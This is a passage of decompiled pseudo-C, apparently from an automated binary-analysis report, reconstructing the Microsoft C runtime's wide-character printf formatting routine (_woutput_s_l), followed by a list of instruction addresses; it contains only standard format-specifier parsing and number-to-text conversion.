													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43c8f0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C8B4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428200(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x4b3bc1ec
															E00424560(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x4b248c6c
																	E00424560(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x4b24956c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428200(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041ACF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428200(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041ACF0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004310C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430630( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004306B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E220();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D10(_t546))) = 0x16;
										E00422AA0(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041ACC0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E220();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041ACC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422D10(_t538))) = 0x16;
									E00422AA0(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041ACC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
						__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041ACC0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BB60(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043bf9a
0x0043bf9a
0x0043bf9a
0x0043bf9a
0x0043bf9a
0x0043bf9a
0x0043bf9e
0x0043bfa3
0x0043bfa6
0x0043bfb3
0x00000000
0x00000000
0x0043bfb9
0x0043bfb9
0x0043bfbb
0x0043bfc9
0x0043bfbd
0x0043bfbd
0x0043bfbd
0x0043bfd3
0x0043bfd9
0x0043bfe6
0x0043bfe8
0x0043bfed
0x0043bfef
0x0043bff4
0x0043bff9
0x0043bffb
0x0043c000
0x0043c006
0x0043c008
0x0043c008
0x0043c006
0x0043c010
0x0043c058
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x0043c55a
0x0043c560
0x0043c56a
0x0043c584
0x0043c59e
0x0043c5a5
0x0043c5a9
0x0043c5a9
0x0043c586
0x0043c58b
0x0043c58f
0x0043c58f
0x0043c56c
0x0043c571
0x0043c575
0x0043c575
0x0043c56a
0x0043c5b9
0x0043c5c5
0x0043c5db
0x0043c5e0
0x0043c5e0
0x0043c5f6
0x0043c5fb
0x0043c604
0x0043c60c
0x0043c622
0x0043c627
0x0043c627
0x0043c60c
0x0043c62e
0x0043c6e8
0x0043c6fb
0x0043c700
0x00000000
0x0043c634
0x0043c634
0x0043c638
0x00000000
0x00000000
0x0043c63e
0x0043c641
0x0043c64a
0x0043c650
0x0043c650
0x0043c65f
0x0043c667
0x00000000
0x00000000
0x0043c669
0x0043c66c
0x0043c691
0x0043c696
0x0043c699
0x0043c6a6
0x0043c6b4
0x0043c6c7
0x0043c6cc
0x0043c6db
0x00000000
0x0043c6db
0x0043c6a8
0x0043c6a8
0x00000000
0x0043c6a8
0x0043c6e6
0x0043c703
0x0043c70a
0x0043c712
0x0043c728
0x0043c72d
0x0043c72d
0x0043c712
0x0043c70a
0x0043c730
0x0043c734
0x0043c73c
0x0043c741
0x0043c744
0x0043c744
0x0043c74b
0x0043c74b
0x0043b8cb
0x0043b8d2
0x0043b8df
0x0043b8e4
0x00000000
0x0043b8f7
0x0043b901
0x0043b928
0x0043b90f
0x0043b920
0x0043b920
0x0043b901
0x0043b932
0x0043b938
0x0043b944
0x0043b947
0x0043b955
0x0043b958
0x0043b965
0x0043ba0a
0x0043ba10
0x0043ba1d
0x00000000
0x00000000
0x0043ba23
0x0043ba29
0x00000000
0x0043ba30
0x0043ba30
0x0043ba4a
0x0043ba4f
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5e
0x0043ba61
0x0043ba64
0x0043ba67
0x0043ba6a
0x0043ba6d
0x0043ba70
0x0043ba77
0x0043ba7e
0x00000000
0x00000000
0x0043ba8a
0x0043ba8a
0x0043ba91
0x0043ba9d
0x0043baa0
0x0043baa6
0x0043baad
0x00000000
0x00000000
0x0043baaf
0x0043bab5
0x0043bab5
0x0043babc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bb00
0x0043bb00
0x0043bb07
0x0043bb0a
0x0043bb34
0x0043bb37
0x0043bb37
0x0043bb41
0x0043bb41
0x0043bb45
0x0043bb0c
0x0043bb0c
